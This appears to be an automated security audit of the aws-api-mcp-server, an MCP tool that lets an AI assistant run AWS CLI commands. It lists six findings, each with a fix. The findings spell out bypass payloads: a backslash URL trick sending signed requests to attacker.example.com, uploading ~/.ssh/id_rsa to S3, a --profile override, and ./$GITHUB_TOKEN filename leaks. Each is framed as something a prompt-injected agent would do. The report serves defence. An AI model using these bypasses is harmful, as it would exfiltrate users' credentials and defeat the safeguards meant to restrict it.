← MCP server and skill grades

aws-api-mcp-server

awslabs/mcp/src/aws-api-mcp-server

D
Type
MCP server
Scanned
Nov 13, 2026
Version
5abaf6ad4d70
Files read
96

This MCP server lets an AI assistant suggest and execute AWS CLI commands against your AWS accounts using local boto3 and AWS CLI libraries. If untrusted content tricks the assistant via prompt injection, it can act with the full power of your local AWS credentials, and validation gaps let commands bypass the configured AWS profile, working-directory file sandbox, and localhost endpoint restrictions.

What it can reach

Secrets
Reads local AWS credentials and profiles from ~/.aws/credentials, ~/.aws/config, environment variables, or the default boto3 credential chain to sign AWS API calls.
Network
Makes authenticated API calls to AWS services across regions, sends natural-language queries from suggest_aws_commands to https://api-mcp.global.api.aws/suggest-aws-commands, fetches service authorization metadata from https://servicereference.us-east-1.amazonaws.com/, and optionally runs an HTTP server when streamable-http transport is enabled.
Files
Reads and writes files inside the working directory by default (or anywhere on disk in unrestricted mode), reads ~/.aws/aws-api-mcp/mcp-security-policy.json and optional custom script files, and writes logs to ~/.aws/aws-api-mcp/aws-api-mcp-server.log.
Shell commands
Does not run shell commands in default mode, though if unrestricted file access is enabled, aws codeartifact login can invoke local package manager CLIs such as pip, npm, dotnet, or swift.

Findings

3 high1 medium2 low
  1. HighLoopback --endpoint-url validation can be bypassed via URL parser mismatch

    src/aws-api-mcp-server/awslabs/aws_api_mcp_server/core/parser/parser.py:844

    The call_aws tool allows the --endpoint-url flag and uses Python's urllib.parse.urlparse to verify that the target host is localhost or a loopback IP. However, urlparse and the underlying urllib3 HTTP client used by boto3 handle backslashes differently: in a URL such as https://attacker.example.com\@127.0.0.1, urlparse sees 127.0.0.1 as the hostname and approves it, whereas urllib3 treats the backslash as ending the host authority and sends the request to attacker.example.com (or internal addresses such as 169.254.169.254). Even with READ_OPERATIONS_ONLY enabled, a prompt-injected agent can trigger outbound AWS-signed requests that leak temporary session tokens (X-Amz-Security-Token when using IAM roles or SSO) and command payloads to an external host, or probe unauthenticated local services on 127.0.0.1.

    Fix: Reject endpoint URLs containing backslashes, @ userinfo, or unexpected paths, parse and normalize the URL with urllib3.util.parse_url so validation and HTTP execution see the same host, or disable --endpoint-url unless explicitly enabled by an environment variable.

  2. Highaws servicecatalog generate subcommands bypass working-directory file sandbox

    src/aws-api-mcp-server/awslabs/aws_api_mcp_server/core/common/file_system_controls.py:83

    By default, local file access is confined to a temporary working directory (workdir mode) so commands cannot read arbitrary files on the host. However, aws servicecatalog generate requires a subcommand (product or provisioning-artifact), causing the parser to record the operation name as 'generate product' or 'generate provisioning-artifact'. Because CUSTOM_FILE_PATH_ARGUMENTS only checks the key 'generate' (and aws_api_customization.json only checks 'servicecatalog generate'), the --file-path argument is never validated against the working directory and underlying S3 upload policy checks are skipped. A prompt-injected agent can call aws servicecatalog generate product --file-path ~/.ssh/id_rsa --bucket-name ... to upload any readable local file to an S3 bucket.

    Fix: Add 'generate product': ['--file-path'] and 'generate provisioning-artifact': ['--file-path'] under 'servicecatalog' in CUSTOM_FILE_PATH_ARGUMENTS, and add matching entries in aws_api_customization.json.

  3. HighCLI --profile argument overrides configured AWS_API_MCP_PROFILE_NAME

    src/aws-api-mcp-server/awslabs/aws_api_mcp_server/core/aws/driver.py:109

    The README recommends setting AWS_API_MCP_PROFILE_NAME to a scoped-down IAM profile as the primary security control on machines with multiple AWS profiles. However, both standard boto3 execution and CLI customizations allow commands passed to call_aws to include --profile <name>, and give that command argument priority over AWS_API_MCP_PROFILE_NAME. If a user also has a privileged profile such as default or admin in ~/.aws/credentials or ~/.aws/config, a prompt-injected agent can append --profile default to bypass the restricted profile configured for the server.

    Fix: When AWS_API_MCP_PROFILE_NAME is set, reject commands that pass a different --profile argument unless multi-profile switching is explicitly enabled.

  4. MediumEnvironment variable expansion in file paths can leak process secrets into filenames

    src/aws-api-mcp-server/awslabs/aws_api_mcp_server/core/common/file_system_controls.py:148

    validate_file_path calls os.path.expandvars on command file paths and returns the expanded path, which streaming-output operations (such as aws s3api get-object) then open and create on disk inside the working directory. If prompt injection tricks the agent into passing a relative output path like ./$GITHUB_TOKEN (for any secret without path separators in the server's environment, such as IDE tokens or AWS credentials), the server creates a file named with the secret's plaintext value inside the working directory, which can then be listed or exfiltrated via aws s3 sync.

    Fix: Reject file path arguments containing environment variable references (for example, when os.path.expandvars(file_path) != file_path or '$' / '%' appears) instead of expanding them into output paths.

  5. LowCustom security policy file fails open when malformed

    src/aws-api-mcp-server/awslabs/aws_api_mcp_server/core/security/policy.py:63

    Users can define a denyList and elicitList in ~/.aws/aws-api-mcp/mcp-security-policy.json to block dangerous AWS CLI commands or require user confirmation. If that JSON file contains a syntax error (such as a trailing comma) or cannot be read, SecurityPolicy._load_policy catches the exception, logs an error, and continues with empty deny and elicit lists instead of refusing to execute commands. Any operation the user intended to block will run without restriction.

    Fix: Re-raise exceptions when ~/.aws/aws-api-mcp/mcp-security-policy.json exists but fails to load or validate, so policy enforcement fails closed.

  6. Lowaws eks get-token can assume IAM roles even when READ_OPERATIONS_ONLY is enabled

    src/aws-api-mcp-server/awslabs/aws_api_mcp_server/core/metadata/read_only_operations_list.py:134

    sts:AssumeRole is explicitly marked as mutating so it is blocked under READ_OPERATIONS_ONLY=true and requires approval under REQUIRE_MUTATION_CONSENT=true, and aws_api_customization.json lists aws sts assume-role as an underlying call of eks get-token. However, when ~/.aws/aws-api-mcp/mcp-security-policy.json does not exist, SecurityPolicy._load_policy returns early before loading aws_api_customization.json, falling back to _get_custom_readonly_operations where eks get-token is classified as read-only. A prompt-injected agent can run aws eks get-token --cluster-name test --role-arn <arn> to assume another IAM role and obtain a signed bearer token despite read-only or mutation-consent protections.

    Fix: Always call self._load_customizations() in SecurityPolicy.__init__ even when mcp-security-policy.json is absent, and remove get-token from _get_custom_readonly_operations or block --role-arn in read-only mode.